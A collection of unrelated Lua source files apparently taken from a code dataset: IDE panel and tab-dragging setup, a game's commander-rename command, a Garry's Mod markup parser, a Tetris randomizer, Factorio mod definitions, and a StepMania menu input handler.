notebook:Connect(ID_SAVEAS, wx.wxEVT_UPDATE_UI, IfAtLeastOneTab)
notebook:Connect(ID_CLOSE, wx.wxEVT_COMMAND_MENU_SELECTED, function()
ClosePage(selection)
end)
notebook:Connect(ID_CLOSE, wx.wxEVT_UPDATE_UI, IfAtLeastOneTab)
notebook:Connect(ID_CLOSEALL, wx.wxEVT_COMMAND_MENU_SELECTED, function()
CloseAllPagesExcept(nil)
end)
notebook:Connect(ID_CLOSEALL, wx.wxEVT_UPDATE_UI, IfAtLeastOneTab)
notebook:Connect(ID_CLOSEOTHER, wx.wxEVT_COMMAND_MENU_SELECTED, function ()
CloseAllPagesExcept(selection)
end)
notebook:Connect(ID_CLOSEOTHER, wx.wxEVT_UPDATE_UI, function (event)
event:Enable(notebook:GetPageCount() > 1)
end)
notebook:Connect(ID_SHOWLOCATION, wx.wxEVT_COMMAND_MENU_SELECTED, function()
ShowLocation(ide:GetDocument(GetEditor(selection)):GetFilePath())
end)
notebook:Connect(ID_SHOWLOCATION, wx.wxEVT_UPDATE_UI, IfAtLeastOneTab)
notebook:Connect(ID_COPYFULLPATH, wx.wxEVT_COMMAND_MENU_SELECTED, function()
ide:CopyToClipboard(ide:GetDocument(GetEditor(selection)):GetFilePath())
end)
frame.notebook = notebook
return notebook
end
local function addDND(notebook)
-- this handler allows dragging tabs into this notebook
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_ALLOW_DND,
function (event)
local notebookfrom = event:GetDragSource()
if notebookfrom ~= ide.frame.notebook then
-- disable cross-notebook movement of specific tabs
local win = notebookfrom:GetPage(event:GetSelection())
if not win then return end
local winid = win:GetId()
if winid == ide:GetOutput():GetId()
or winid == ide:GetConsole():GetId()
or winid == ide:GetProjectTree():GetId()
or ide.findReplace:IsPreview(win) -- search results preview
then return end
local mgr = ide.frame.uimgr
local pane = mgr:GetPane(notebookfrom)
if not pane:IsOk() then return end -- not a managed window
if pane:IsFloating() then
notebookfrom:GetParent():Hide()
else
pane:Hide()
mgr:Update()
end
mgr:DetachPane(notebookfrom)
-- this is a workaround for wxwidgets bug (2.9.5+) that combines
-- content from two windows when tab is dragged over an active tab.
local mouse = wx.wxGetMouseState()
local mouseatpoint = wx.wxPoint(mouse:GetX(), mouse:GetY())
local ok, tabs = pcall(function() return wx.wxFindWindowAtPoint(mouseatpoint):DynamicCast("wxAuiTabCtrl") end)
if ok then tabs:SetNoneActive() end
event:Allow()
end
end)
-- these handlers allow dragging tabs out of this notebook.
-- I couldn't find a good way to stop dragging event as it's not known
-- where the event is going to end when it's started, so we manipulate
-- the flag that allows splits and disable it when needed.
-- It is then enabled in BEGIN_DRAG event.
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_BEGIN_DRAG,
function (event)
event:Skip()
-- allow dragging if it was disabled earlier
local flags = notebook:GetWindowStyleFlag()
if bit.band(flags, wxaui.wxAUI_NB_TAB_SPLIT) == 0 then
notebook:SetWindowStyleFlag(flags + wxaui.wxAUI_NB_TAB_SPLIT)
end
end)
-- there is currently no support in wxAuiNotebook for dragging tabs out.
-- This is implemented as removing a tab that was dragged out and
-- recreating it with the right control. This is complicated by the fact
-- that tabs can be split, so if the destination is withing the area where
-- splits happen, the tab is not removed.
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_END_DRAG,
function (event)
event:Skip()
local mgr = ide.frame.uimgr
local win = mgr:GetPane(notebook).window
local x = win:GetScreenPosition():GetX()
local y = win:GetScreenPosition():GetY()
local w, h = win:GetSize():GetWidth(), win:GetSize():GetHeight()
local mouse = wx.wxGetMouseState()
local mx, my = mouse:GetX(), mouse:GetY()
if mx >= x and mx <= x + w and my >= y and my <= y + h then return end
-- disallow split as the target is outside the notebook
local flags = notebook:GetWindowStyleFlag()
if bit.band(flags, wxaui.wxAUI_NB_TAB_SPLIT) ~= 0 then
notebook:SetWindowStyleFlag(flags - wxaui.wxAUI_NB_TAB_SPLIT)
end
-- don't allow dragging out single tabs from tab ctrl
-- as wxwidgets doesn't like removing pages from split notebooks.
local tabctrl = event:GetEventObject():DynamicCast("wxAuiTabCtrl")
if tabctrl:GetPageCount() == 1 then return end
local idx = event:GetSelection() -- index within the current tab ctrl
local selection = notebook:GetPageIndex(tabctrl:GetPage(idx).window)
local label = notebook:GetPageText(selection)
local pane = ide:RestorePanelByLabel(label)
if not pane then return end
pane:FloatingPosition(mx-10, my-10)
pane:Show()
notebook:RemovePage(selection)
mgr:Update()
end)
end
local function createBottomNotebook(frame)
-- bottomnotebook (errorlog,shellbox)
local bottomnotebook = wxaui.wxAuiNotebook(frame, wx.wxID_ANY,
wx.wxDefaultPosition, wx.wxDefaultSize,
wxaui.wxAUI_NB_DEFAULT_STYLE + wxaui.wxAUI_NB_TAB_EXTERNAL_MOVE
- wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB + wx.wxNO_BORDER)
addDND(bottomnotebook)
bottomnotebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_PAGE_CHANGED,
function (event)
if not ide.findReplace then return end
local nb = event:GetEventObject():DynamicCast("wxAuiNotebook")
local preview = ide.findReplace:IsPreview(nb:GetPage(nb:GetSelection()))
local flags = nb:GetWindowStyleFlag()
if preview and bit.band(flags, wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB) == 0 then
nb:SetWindowStyleFlag(flags + wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB)
elseif not preview and bit.band(flags, wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB) ~= 0 then
nb:SetWindowStyleFlag(flags - wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB)
end
end)
-- disallow tabs closing
bottomnotebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_PAGE_CLOSE,
function (event)
local nb = event:GetEventObject():DynamicCast("wxAuiNotebook")
if ide.findReplace
and ide.findReplace:IsPreview(nb:GetPage(nb:GetSelection())) then
event:Skip()
else
event:Veto()
end
end)
local errorlog = ide:CreateStyledTextCtrl(bottomnotebook, wx.wxID_ANY,
wx.wxDefaultPosition, wx.wxDefaultSize, wx.wxBORDER_NONE)
errorlog:Connect(wx.wxEVT_CONTEXT_MENU,
function (event)
local menu = wx.wxMenu {
{ ID_UNDO, TR("&Undo") },
{ ID_REDO, TR("&Redo") },
{ },
{ ID_CUT, TR("Cu&t") },
{ ID_COPY, TR("&Copy") },
{ ID_PASTE, TR("&Paste") },
{ ID_SELECTALL, TR("Select &All") },
{ },
{ ID_CLEAROUTPUT, TR("C&lear Output Window") },
}
PackageEventHandle("onMenuOutput", menu, errorlog, event)
errorlog:PopupMenu(menu)
end)
errorlog:Connect(ID_CLEAROUTPUT, wx.wxEVT_COMMAND_MENU_SELECTED,
function(event) ClearOutput(true) end)
local shellbox = ide:CreateStyledTextCtrl(bottomnotebook, wx.wxID_ANY,
wx.wxDefaultPosition, wx.wxDefaultSize, wx.wxBORDER_NONE)
local menupos
shellbox:Connect(wx.wxEVT_CONTEXT_MENU,
function (event)
local menu = wx.wxMenu {
{ ID_UNDO, TR("&Undo") },
{ ID_REDO, TR("&Redo") },
{ },
{ ID_CUT, TR("Cu&t") },
{ ID_COPY, TR("&Copy") },
{ ID_PASTE, TR("&Paste") },
{ ID_SELECTALL, TR("Select &All") },
{ },
{ ID_SELECTCONSOLECOMMAND, TR("&Select Command") },
{ ID_CLEARCONSOLE, TR("C&lear Console Window") },
}
menupos = event:GetPosition()
PackageEventHandle("onMenuConsole", menu, shellbox, event)
shellbox:PopupMenu(menu)
end)
shellbox:Connect(ID_SELECTCONSOLECOMMAND, wx.wxEVT_COMMAND_MENU_SELECTED,
function(event) ConsoleSelectCommand(menupos) end)
shellbox:Connect(ID_CLEARCONSOLE, wx.wxEVT_COMMAND_MENU_SELECTED,
function(event) ide:GetConsole():Erase() end)
bottomnotebook:AddPage(errorlog, TR("Output"), true)
bottomnotebook:AddPage(shellbox, TR("Local console"), false)
bottomnotebook.errorlog = errorlog
bottomnotebook.shellbox = shellbox
frame.bottomnotebook = bottomnotebook
return bottomnotebook
end
local function createProjNotebook(frame)
local projnotebook = wxaui.wxAuiNotebook(frame, wx.wxID_ANY,
wx.wxDefaultPosition, wx.wxDefaultSize,
wxaui.wxAUI_NB_DEFAULT_STYLE + wxaui.wxAUI_NB_TAB_EXTERNAL_MOVE
- wxaui.wxAUI_NB_CLOSE_ON_ACTIVE_TAB + wx.wxNO_BORDER)
addDND(projnotebook)
-- disallow tabs closing
projnotebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_PAGE_CLOSE,
function (event) event:Veto() end)
frame.projnotebook = projnotebook
return projnotebook
end
-- ----------------------------------------------------------------------------
-- Add the child windows to the frame
local frame = createFrame()
ide.frame = frame
createToolBar(frame)
createNotebook(frame)
createProjNotebook(frame)
createBottomNotebook(frame)
do
local frame = ide.frame
local mgr = frame.uimgr
--[[mgr:AddPane(frame.toolBar, wxaui.wxAuiPaneInfo():
Name("toolbar"):Caption("Toolbar"):
ToolbarPane():Top():CloseButton(false):PaneBorder(false):
LeftDockable(false):RightDockable(false))]]--
mgr:AddPane(frame.notebook, wxaui.wxAuiPaneInfo():
Name("notebook"):
CenterPane():PaneBorder(false))
mgr:AddPane(frame.projnotebook, wxaui.wxAuiPaneInfo():
Name("projpanel"):CaptionVisible(false):
MinSize(200,200):FloatingSize(200,400):
Left():Layer(1):Position(1):PaneBorder(false):
CloseButton(true):MaximizeButton(false):PinButton(true))
mgr:AddPane(frame.bottomnotebook, wxaui.wxAuiPaneInfo():
Name("bottomnotebook"):CaptionVisible(false):
MinSize(100,100):BestSize(200,200):FloatingSize(400,200):
Bottom():Layer(1):Position(1):PaneBorder(false):
CloseButton(true):MaximizeButton(false):PinButton(true))
--mgr:GetPane("toolbar"):Show(false)
mgr:GetPane("projpanel"):Show(false)
mgr:GetPane("bottomnotebook"):Show(false)
if type(ide.config.bordersize) == 'number' then
for _, uimgr in pairs {mgr, frame.notebook:GetAuiManager(),
frame.bottomnotebook:GetAuiManager(), frame.projnotebook:GetAuiManager()} do
uimgr:GetArtProvider():SetMetric(wxaui.wxAUI_DOCKART_SASH_SIZE,
ide.config.bordersize)
end
end
for _, nb in pairs {frame.bottomnotebook, frame.projnotebook} do
nb:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_BG_DCLICK,
function() PaneFloatToggle(nb) end)
end
mgr.defaultPerspective = mgr:SavePerspective()
end
|
class("RenameCommanderCommand", pm.SimpleCommand).execute = function (slot0, slot1)
slot4 = slot1:getBody().name
if not getProxy(CommanderProxy):getCommanderById(slot1.getBody().commanderId) then
return
end
if not slot6:canModifyName() then
return
end
if not slot4 or slot4 == "" then
return
end
if HXSet.hxLan(slot6:getName()) == slot4 then
return
end
if not nameValidityCheck(slot4, 0, 12, {
"spece_illegal_tip",
"login_newPlayerScene_name_tooShort",
"login_newPlayerScene_name_tooLong",
"playerinfo_mask_word"
}) then
return
end
pg.ConnectionMgr.GetInstance():Send(25020, {
commanderid = slot3,
name = slot4
}, 25021, function (slot0)
if slot0.result == 0 then
slot0:setName(slot0.setName)
slot0:setRenameTime(slot2)
slot2:updateCommander(slot0)
slot2.updateCommander:sendNotification(GAME.COMMANDER_RENAME_DONE)
else
pg.TipsMgr.GetInstance():ShowTips(i18n("rename_commander_erro", slot0.result))
end
end)
end
return class("RenameCommanderCommand", pm.SimpleCommand)
|
include( "Constants.lua" )
include("entities/gmod_wire_hud_indicator_2/util/tables.lua")
HMLParser = {}
function HMLParser:new( code )
local obj = {}
setmetatable( obj, {__index = HMLParser} )
obj.code = code
obj.tree = {}
obj.valid = false
obj.constants = HMLConstants()
obj.inputs = {}
obj.validTypes = {}
obj.tagIndex = 0
obj.validTypes['2'] = "vector2"
obj.validTypes['3'] = "vector3"
obj.validTypes['4'] = "vector4"
obj.validTypes['s'] = "string"
obj.validTypes['c'] = "color"
obj.validTypes['a'] = "alpha_color"
obj.validTypes[''] = "numeric"
return obj
end
function HMLParser:exec( newcode )
local result = nil
if( newcode ~= nil ) then
self.code = newcode
end
if( self.code ~= nil ) then
Msg("Currently attempting to parse:\n" .. self.code .. "\n")
self.inputs = {}
Msg("Parsing HML...")
result = self:collect( self.code )
Msg("Done\n")
else
result = false
Msg("No code to parse!\n")
end
return result
end
function HMLParser:toString( var )
if( type(var) == "string" ) then return var end
return ""
end
function HMLParser:getInputTable()
return self.inputs
end
function HMLParser:toNumber( var )
local output = tonumber( var )
print( type( var ), " = ", output )
if( output ~= nil ) then return output end
return 0
end
function HMLParser:toBoolean( var )
if( type(var) == "boolean" ) then return var end
return false
end
function HMLParser:toTable( var )
if( type(var) == "table" ) then return var end
return {}
end
function HMLParser:parseargs(s)
local arg = {}
local foundInputs = false
--print( "--Parsing Arguments--" )
--print( "string: ", s )
--These should have inputs created on the SENT...
for key, value in string.gmatch(s, "([%a_]+)%=([^;]-);") do
foundInputs = false
for type, name in string.gmatch(value, "([234sca]?)@(%u[%w_]+)") do
print("Input: ", type, name)
if( self.validTypes[type] ~= nil ) then
self.inputs[name] = {}
self.inputs[name].type = self.validTypes[type]
self.inputs[name].value = 0
else
print("[WW]", "Input " ..tostring(name).. " was an unknown type (" ..tostring(type).. ") and was not added to the input table! No updates will be performed on this input!")
end
foundInputs = true
end
arg[key] = value
end
return arg
end
function HMLParser:collect(s)
local stack = {}
local top = {}
table.insert(stack, top)
local ni,c,tag,xarg, empty
local i, j = 1, 1
while true do
ni,j,c,tag,xarg, empty = string.find(s, "<(%/?)([!%-%w]+)(.-)(%/?)>", i)
if not ni then break end
local text = string.sub(s, i, ni-1)
if not string.find(text, "^%s*$") then
table.insert(top, text)
end
self.tagIndex = self.tagIndex + 1
if( tag == "!--" ) then
--print("Skipped comment -> '" ..tostring(xarg).. "'" )
else
if empty == "/" then -- empty element tag
local newTag = self:parseargs(xarg)
newTag.empty = 1
newTag.tag = tag
newTag.uid = self.tagIndex
table.insert(top, newTag)
elseif c == "" then -- start tag
top = self:parseargs(xarg)
top.tag = tag
top.uid = self.tagIndex
table.insert(stack, top) -- new level
else -- end tag
local toclose = table.remove(stack) -- remove top
top = stack[#stack]
top.uid = self.tagIndex
if #stack < 1 then
HMLError("nothing to close with "..tag)
end
if toclose.tag ~= tag then
toclose.tag = toclose.tag or "nil"
HMLError("trying to close "..toclose.tag.." with "..tag)
else
table.insert(top, toclose)
end
end
end
i = j + 1
end
local text = string.sub(s, i)
if not string.find(text, "^%s*$") then
table.insert(stack[#stack], text)
end
if #stack > 1 then
local output = "UNKNOWN, probably syntax"
if( stack ~= nil and stack.n ~= nil ) then
output = output .. "stack=" .. tostring(stack) .. ", stack=" .. tostring(stack.n)
if( stack[stack.n] ~= nil and stack[stack.n].tag ~= nil ) then
output = output .. "stack[n]=" .. tostring(stack[stack.n]) .. ", stack[n].tag=" .. tostring(stack[stack.n].tag)
end
end
HMLError("Incomplete XML: Unclosed/Missing tags '"..output)
return false
end
return stack[1]
end
|
local Randomizer = require 'tetris.randomizers.randomizer'
local Bag5AltRandomizer = Randomizer:extend()
function Bag5AltRandomizer:initialize()
self.bag = {"I", "J", "L", "O", "T"}
self.prev = nil
end
function Bag5AltRandomizer:generatePiece()
if next(self.bag) == nil then
self.bag = {"I", "J", "L", "O", "T"}
end
local x = math.random(table.getn(self.bag))
local temp = table.remove(self.bag, x)
if temp == self.prev then
local y = math.random(table.getn(self.bag))
temp = table.remove(self.bag, y)
end
self.prev = temp
return temp
end
return Bag5AltRandomizer
|
local cluster_remote = {
type = "capsule",
name = "artillery-cluster-remote",
icon = "__AdvancedArtilleryRemotesContinued__/graphics/icons/artillery-cluster-remote.png",
icon_size = 32,
capsule_action = {
type = "artillery-remote",
flare = "artillery-cluster-flare"
},
subgroup = "capsule",
order = "zzza",
stack_size = 1
}
local cluster_flare = {
type = "artillery-flare",
name = "artillery-cluster-flare",
icon = "__AdvancedArtilleryRemotesContinued__/graphics/icons/artillery-cluster-remote.png",
icon_size = 32,
flags = {"placeable-off-grid", "not-on-map"},
map_color = {r=1, g=0.5, b=0},
life_time = 60 * 60,
initial_height = 0,
initial_vertical_speed = 0,
initial_frame_speed = 1,
shots_per_flare = 1,
early_death_ticks = 3 * 60,
pictures =
{
{
filename = "__core__/graphics/shoot-cursor-red.png",
priority = "low",
width = 258,
height = 183,
frame_count = 1,
scale = 1,
flags = {"icon"}
},
}
}
local test_flare = {
type = "artillery-flare",
name = "artillery-test-flare",
icon = "__AdvancedArtilleryRemotesContinued__/graphics/icons/artillery-cluster-remote.png",
icon_size = 32,
flags = {"placeable-off-grid", "not-on-map"},
map_color = {r=0, g=0, b=1},
life_time = 60 * 60,
initial_height = 0,
initial_vertical_speed = 0,
initial_frame_speed = 1,
shots_per_flare = 1,
early_death_ticks = 3 * 60,
pictures =
{
{
filename = "__core__/graphics/shoot-cursor-green.png",
priority = "low",
width = 258,
height = 183,
frame_count = 1,
scale = 1,
flags = {"icon"}
},
}
}
local cluster_recipe = {
type = "recipe",
name = "artillery-cluster-remote",
enabled = false,
ingredients =
{
{"artillery-targeting-remote", 1},
{"processing-unit", 1},
},
result = "artillery-cluster-remote"
}
table.insert(data.raw["technology"]["artillery"].effects, {type = "unlock-recipe", recipe = "artillery-cluster-remote"})
data:extend({cluster_remote, cluster_flare, cluster_recipe, test_flare})
|
local playsession = {
{"mewmew", {45326}},
{"EPO666", {71199}},
{"Sjetil", {69672}},
{"Sterbehilfen", {67838}},
{"FireEnder", {8646}},
{"McC1oud", {48048}},
{"Kamyk", {45174}},
{"Krono", {40783}},
{"Leon55", {38352}},
{"Lillbirro", {24133}},
{"Jardee", {27824}},
{"Zorky", {18531}},
{"Vinerr", {16559}},
{"glukuzzz", {15157}},
{"EmperorTrump", {15150}}
}
return playsession |
-- NETWORK CONTROLLER OBJECT --
-- Create the Network Controller base object --
NC = {
ent = nil,
player = "",
MF = nil,
dataNetwork = nil,
invObj = nil,
animID = 0,
updateTick = 300,
lastUpdate = 0
}
-- Constructor --
function NC:new(ent)
if ent == nil then return end
local t = {}
local mt = {}
setmetatable(t, mt)
mt.__index = NC
t.ent = ent
if ent.last_user == nil then return end
t.player = ent.last_user.name
t.MF = getMF(t.player)
t.dataNetwork = t.MF.dataNetwork
t.invObj = t.MF.II
t.MF.dataNetwork.networkController = t
t.MF.II.networkController = t
UpSys.addObj(t)
t.animID = rendering.draw_animation{animation="NetworkControllerAn", target={ent.position.x,ent.position.y}, surface=ent.surface, render_layer=131}
return t
end
-- Reconstructor --
function NC:rebuild(object)
if object == nil then return end
local mt = {}
mt.__index = NC
setmetatable(object, mt)
end
-- Destructor --
function NC:remove()
end
-- Is valid --
function NC:valid()
return true
end
-- Update --
function NC:update()
-- Set the lastUpdate variable --
self.lastUpdate = game.tick
-- Create the Animation if Needed --
if self.animID == 0 or rendering.is_valid(self.animID) == false then
self.animID = rendering.draw_animation{animation="NetworkControllerAn", target={self.ent.position.x,self.ent.position.y}, surface=self.ent.surface, render_layer=131}
end
end
-- Tooltip Infos --
function NC:getTooltipInfos(GUIObj, gui, justCreated)
end |
local af, num_panes = unpack(...)
if not af
or type(num_panes) ~= "number"
then
return
end
-- -----------------------------------------------------------------------
local panes, active_pane = {}, {}
local style = ToEnumShortString(GAMESTATE:GetCurrentStyle():GetStyleType())
local players = GAMESTATE:GetHumanPlayers()
local mpn = GAMESTATE:GetMasterPlayerNumber()
-- since we're potentially retrieving from player profile
-- perform some rudimentary validation
-- clamp both values to be within permitted ranges and don't allow them to be the same
local primary_i = clamp(SL[ToEnumShortString(mpn)].EvalPanePrimary, 1, num_panes)
local secondary_i = clamp(SL[ToEnumShortString(mpn)].EvalPaneSecondary, 1, num_panes)
-- -----------------------------------------------------------------------
for controller=1,2 do
panes[controller] = {}
-- Iterate through all potential panes, and only add the non-nil ones to the
-- list of panes we want to consider.
for i=1,num_panes do
local pane_str = ("Pane%i_SideP%i"):format(i, controller)
local pane = af:GetChild("Panes"):GetChild(pane_str)
if pane ~= nil then
-- single, double
if #players==1 then
if ("P"..controller)==ToEnumShortString(mpn) then
pane:visible(i == primary_i)
active_pane[1] = primary_i
elseif ("P"..controller)==ToEnumShortString(OtherPlayer[mpn]) then
pane:visible(i == secondary_i)
active_pane[2] = secondary_i
end
-- versus
else
pane:visible(i == 1)
active_pane[controller] = 1
end
table.insert(panes[controller], pane)
end
end
end
-- -----------------------------------------------------------------------
local OtherController = {
GameController_1 = "GameController_2",
GameController_2 = "GameController_1"
}
return function(event)
if not (event and event.PlayerNumber and event.button) then return false end
local cn = tonumber(ToEnumShortString(event.controller))
local ocn = tonumber(ToEnumShortString(OtherController[event.controller]))
if event.type == "InputEventType_FirstPress" and panes[cn] then
if event.GameButton == "MenuRight" or event.GameButton == "MenuLeft" then
if event.GameButton == "MenuRight" then
active_pane[cn] = ((active_pane[cn] ) % #panes[cn]) + 1
-- don't allow duplicate panes to show in single/double
-- if the above change would result in duplicate panes, increment again
if #players==1 and active_pane[cn] == active_pane[ocn] then
active_pane[cn] = ((active_pane[cn] ) % #panes[cn]) + 1
end
elseif event.GameButton == "MenuLeft" then
active_pane[cn] = ((active_pane[cn] - 2) % #panes[cn]) + 1
-- don't allow duplicate panes to show in single/double
-- if the above change would result in duplicate panes, decrement again
if #players==1 and active_pane[cn] == active_pane[ocn] then
active_pane[cn] = ((active_pane[cn] - 2) % #panes[cn]) + 1
end
end
-- double
if style == "OnePlayerTwoSides" then
-- if this controller is switching to Pane2, which takes over both pane widths
if panes[cn][active_pane[cn]]:GetChild(""):GetCommand("ExpandForDouble") then
for i=1,2 do
for pane in ivalues(panes[i]) do
pane:visible(false)
end
end
panes[cn][active_pane[cn]]:visible(true)
-- if this controller is switching panes while the OTHER controller was viewing Pane2
elseif panes[ocn][active_pane[ocn]]:GetChild(""):GetCommand("ExpandForDouble") then
panes[ocn][active_pane[ocn]]:visible(false)
panes[cn][active_pane[cn]]:visible(true)
-- atribitarily choose to decrement other controller pane
active_pane[ocn] = ((active_pane[ocn] - 2) % #panes[ocn]) + 1
if active_pane[cn] == active_pane[ocn] then
active_pane[ocn] = ((active_pane[ocn] - 2) % #panes[ocn]) + 1
end
panes[ocn][active_pane[ocn]]:visible(true)
else
-- hide all panes for this side
for i=1,#panes[cn] do
panes[cn][i]:visible(false)
end
-- show the panes we want on both sides
panes[cn][active_pane[cn]]:visible(true)
panes[ocn][active_pane[ocn]]:visible(true)
end
-- single, versus
else
-- hide all panes for this side
for i=1,#panes[cn] do
panes[cn][i]:visible(false)
end
-- only show the pane we want on this side
panes[cn][active_pane[cn]]:visible(true)
end
af:queuecommand("PaneSwitch")
end
end
if PREFSMAN:GetPreference("OnlyDedicatedMenuButtons") and event.type ~= "InputEventType_Repeat" then
MESSAGEMAN:Broadcast("TestInputEvent", event)
end
return false
end |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.